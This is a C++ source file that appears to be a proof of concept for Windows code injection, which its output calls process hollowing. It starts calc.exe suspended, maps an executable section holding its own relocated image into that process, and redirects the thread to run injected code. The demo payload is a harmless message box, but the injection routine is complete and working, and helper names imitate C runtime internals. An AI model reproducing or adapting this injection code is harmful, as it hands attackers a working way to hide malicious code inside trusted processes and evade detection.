#include <Windows.h>
#include <Psapi.h> // K32GetModuleInformation
#include <iostream>
#include <cwchar> //wcslen
#include <string>
using NtUnmapViewOfSection_t = NTSTATUS(NTAPI*)(HANDLE, PVOID);
using NtCreateSection_t = NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, PVOID, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
using NtMapViewOfSection_t = NTSTATUS(NTAPI*)(HANDLE, HANDLE, PVOID, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
using NtClose_t = NTSTATUS(NTAPI*)(HANDLE);
using NtQueryInformationProcess_t = NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG, PULONG);
using NtSuspendProcess_t = NTSTATUS(NTAPI*)(HANDLE);
NtUnmapViewOfSection_t NtUnmapViewOfSection = nullptr;
NtCreateSection_t NtCreateSection = nullptr;
NtMapViewOfSection_t NtMapViewOfSection = nullptr;
NtClose_t NtClose = nullptr;
NtQueryInformationProcess_t NtQueryInformationProcess = nullptr;
NtSuspendProcess_t NtSuspendProcess = nullptr;
struct PROCESS_BASIC_INFORMATION {
PVOID R1;
PVOID PebBaseAddress;
PVOID R2[2];
ULONG_PTR UniqueProcessId;
PVOID R3;
};
int __crtLoadNtApiPointers() {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
NtUnmapViewOfSection = reinterpret_cast<NtUnmapViewOfSection_t>(
GetProcAddress(hNtdll, "NtUnmapViewOfSection")
);
if (!NtUnmapViewOfSection) {
std::cerr << "Failed to resolve NtUnmapViewOfSection from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtCreateSection = reinterpret_cast<NtCreateSection_t>(
GetProcAddress(hNtdll, "NtCreateSection")
);
if (!NtCreateSection) {
std::cerr << "Failed to resolve NtCreateSection from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtMapViewOfSection = reinterpret_cast<NtMapViewOfSection_t>(
GetProcAddress(hNtdll, "NtMapViewOfSection")
);
if (!NtMapViewOfSection) {
std::cerr << "Failed to resolve NtMapViewOfSection from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtClose = reinterpret_cast<NtClose_t>(
GetProcAddress(hNtdll, "NtClose")
);
if (!NtClose) {
std::cerr << "Failed to resolve NtClose from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtQueryInformationProcess = reinterpret_cast<NtQueryInformationProcess_t>(
GetProcAddress(hNtdll, "NtQueryInformationProcess")
);
if (!NtQueryInformationProcess) {
std::cerr << "Failed to resolve NtQueryInformationProcess from ntdll - " << GetLastError() << std::endl;
return 0;
}
NtSuspendProcess = reinterpret_cast<NtSuspendProcess_t>(
GetProcAddress(hNtdll, "NtSuspendProcess")
);
if (!NtSuspendProcess) {
std::cerr << "Failed to resolve NtSuspendProcess from ntdll - " << GetLastError() << std::endl;
return 0;
}
return 1;
}
int __crtRelocate(PVOID sectionBaseAddr, PVOID calcSectionBaseAddr, PVOID imageBase) {
uint8_t* base = reinterpret_cast<uint8_t*>(sectionBaseAddr);
PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
PIMAGE_NT_HEADERS nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dosHeader->e_lfanew);
DWORD relocRVA = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (relocRVA == 0) return 0;
DWORD relocSize = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
PIMAGE_BASE_RELOCATION reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(base + relocRVA);
while (relocSize > 0 && reloc->SizeOfBlock > 0) {
unsigned int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* entry = reinterpret_cast<WORD*>(reloc + 1);
for (int i = 0; i < count; i++) {
if ((entry[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
DWORD addrRVA = reloc->VirtualAddress + (entry[i] & 0xFFF);
DWORD* patchAddr = reinterpret_cast<DWORD*>(
reinterpret_cast<uint8_t*>(sectionBaseAddr) + addrRVA
);
*patchAddr += (DWORD)((uintptr_t)calcSectionBaseAddr - (uintptr_t)imageBase);
}
}
relocSize -= reloc->SizeOfBlock;
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(
reinterpret_cast<uint8_t*>(reloc) + reloc->SizeOfBlock
);
}
return 1;
}
void myCode() {
MessageBox(0, L"(・⊝・)▷", L"Pumpkin Potato", MB_OK | MB_ICONWARNING);
return;
}
int main() {
std::wstring cmd = L"calc.exe";
// Load Native Apis
if (!__crtLoadNtApiPointers()) {
std::cerr << "Failed to resolve NtApis" << std::endl;
return 1;
}
STARTUPINFOW si = {};
si.cb = sizeof(si);
PROCESS_INFORMATION pi = {};
if (!CreateProcessW(NULL, &cmd[0], NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
std::cerr << "Error in CreateProcessW - " << GetLastError() << std::endl;
return 1;
}
std::cout << "Created \'calc.exe\' process in suspended mode. Press Enter to continue" << std::endl;
std::cin.get();
// Get current process information
HMODULE hModule = GetModuleHandle(NULL);
if (!hModule) {
std::cerr << "Failed to obtain handle for current process - " << GetLastError() << std::endl;
return 1;
}
MODULEINFO mi = { 0 };
if (!K32GetModuleInformation(GetCurrentProcess(), hModule, &mi, sizeof(mi))) {
std::cerr << "Error in K32GetModuleInformation - " << GetLastError() << std::endl;
return 1;
}
// Create Section
HANDLE hSection = nullptr;
LARGE_INTEGER maxSize;
maxSize.LowPart = mi.SizeOfImage;
maxSize.HighPart = 0;
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_MAP_WRITE | SECTION_MAP_READ | SECTION_MAP_EXECUTE,
nullptr,
&maxSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
nullptr
);
if (status != 0) {
std::cerr << "NtCreateSection failed. Status: " << status << std::endl;
return 1;
}
// MapViewOfSection for Injector
PVOID baseAddr = nullptr;
SIZE_T viewSize = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&baseAddr,
0,
0,
nullptr,
&viewSize, // 0: 전체 매핑
2, // ViewUnmap
0,
PAGE_EXECUTE_READWRITE
);
if (status != 0) {
std::cerr << "NtMapViewOfSection failed. Status: " << status << std::endl;
NtClose(hSection);
return 1;
}
// MapViewOfSection for calc.exe
PVOID cBaseAddr = nullptr;
status = NtMapViewOfSection(
hSection,
pi.hProcess,
&cBaseAddr,
0,
0,
nullptr,
&viewSize,
2, // ViewUnmap
0,
PAGE_EXECUTE_READWRITE
);
if (status != 0) {
std::cerr << "NtMapViewOfSection failed in Calc.exe. Status: " << status << std::endl;
NtUnmapViewOfSection(GetCurrentProcess(), baseAddr);
NtClose(hSection);
return 1;
}
memmove(baseAddr, mi.lpBaseOfDll, mi.SizeOfImage);
__crtRelocate(baseAddr, cBaseAddr, mi.lpBaseOfDll);
std::cout << "Created New Memory Map and View." << std::endl;
std::cout << "Injector: " << baseAddr << " Hollowed calc.exe: " << cBaseAddr << std::endl;
std::cout << "Press Enter to continue" << std::endl;
std::cin.get();
NtUnmapViewOfSection(GetCurrentProcess(), baseAddr);
NtClose(hSection);
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_INTEGER | 0x10000;
if (!GetThreadContext(pi.hThread, &ctx)) {
std::cerr << "Error in GetThreadContext - " << GetLastError() << std::endl;
return 1;
}
uintptr_t base = reinterpret_cast<uintptr_t>(cBaseAddr);
intptr_t diff = reinterpret_cast<char*>(myCode) - reinterpret_cast<char*>(mi.lpBaseOfDll);
ctx.Eax = static_cast<DWORD>(base + diff);
if (!SetThreadContext(pi.hThread, &ctx)) {
std::cerr << "Error in SetThreadContext - " << GetLastError() << std::endl;
return 1;
}
if (ResumeThread(pi.hThread) == (DWORD)-1) {
std::cerr << "Error in ResumeThread - " << GetLastError() << std::endl;
return 1;
}
std::cout << "Process Hollowing Success" << std::endl;
std::cin.get();
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}